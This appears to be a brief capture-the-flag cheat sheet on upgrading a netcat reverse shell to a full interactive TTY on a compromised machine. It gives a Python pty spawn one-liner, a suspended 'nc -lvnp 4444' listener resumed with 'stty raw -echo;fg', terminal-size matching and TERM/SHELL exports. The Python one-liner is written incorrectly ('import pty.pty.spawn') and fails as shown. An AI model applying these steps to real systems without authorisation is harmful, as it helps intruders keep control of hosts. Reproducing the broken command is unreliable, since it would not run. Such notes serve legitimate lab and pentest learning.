

# UPGRADE REVERSE SHELL

if python is installed this one liner is 1st step:

```
python -c 'import pty.pty.spawn("/bin/bash")'
```

then hit Ctrl-Z to suspend your Netcat session

type: stty raw -echo;fg <Enter>

type: reset <Enter>

```
toby@watcher:~/jobs$ ^Z
zsh: suspended nc -lvnp 4444

└─(max@kali)-[~/Downloads/php-reverse-shell]
└─$ stty raw -echo;fg          148 x 1 ⚙
[1] + continued nc -lvnp 4444
                                reset
toby@watcher:~/jobs$ echo '/bin/bash -i'
```

**stty -a** will tell you your current terminal settings so you can match them to the machine you log into- we are interested in the rows and columns setting: Then type : **stty rows 30 columns 100** <our current Terminator setting>

```
$ stty rows 56 columns 213
```

sometimes the machine will ask you Terminal type? after reset: Select xterm-256color or just xterm if not available:

```
reset: unknown terminal type unknown  
Terminal type? xterm-256color
```

```
reset: unknown terminal type xterm-256color  
Terminal type? xterm
```

sometimes you may have to reload TERM and SHELL:

```
export TERM=xterm  
export SHELL=bash
```